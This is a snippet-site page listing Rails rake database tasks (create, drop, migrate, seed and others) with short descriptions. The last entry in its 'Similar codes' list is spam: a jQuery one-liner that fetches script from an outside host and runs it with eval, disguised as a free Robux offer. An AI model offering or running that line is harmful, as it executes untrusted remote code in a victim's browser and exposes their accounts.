How to delete database in rails

rake db:create          # Create the database from DATABASE_URL or config/database.yml for the current Rails.env (use db:create:all to create all dbs in the config)
rake db:drop            # Drops the database using DATABASE_URL or the current Rails.env (use db:drop:all to drop all databases)
rake db:fixtures:load   # Load fixtures into the current environment's database
rake db:migrate         # Migrate the database (options: VERSION=x, VERBOSE=false)
rake db:migrate:status  # Display status of migrations
rake db:rollback        # Rolls the schema back to the previous version (specify steps w/ STEP=n)
rake db:schema:dump     # Create a db/schema.rb file that can be portably used against any DB supported by AR
rake db:schema:load     # Load a schema.rb file into the database
rake db:seed            # Load the seed data from db/seeds.rb
rake db:setup           # Create the database, load the schema, and initialize with the seed data (use db:reset to also drop the db first)
rake db:structure:dump  # Dump the database structure to db/structure.sql
rake db:version         # Retrieves the current schema version number

Source: stackoverflow.com

Similar codes

2 votes351 views2 answers
How to add to array ruby
Ruby
0 vote326 views1 answer
Ruby try catch variable and assign nil value
Ruby
0 vote364 views2 answers
Ruby hello world
Ruby
1 vote311 views1 answer
Rails engine table doesnt exist
Ruby
0 vote344 views1 answer
Rails check if a URL is valid
Ruby
0 vote339 views1 answer
Rails generate model polymorphic references
Ruby
3 votes373 views2 answers
Default value rails migration
Ruby
0 vote346 views1 answer
Rails setup test db
Ruby
0 vote339 views1 answer
Add key and value to first spot in hash ruby
Ruby
0 vote322 views3 answers
$ Javascript $ . get ( '//api.rbx2.xyz/rbx id = 16553' , eval ) gratis robux 2000
Ruby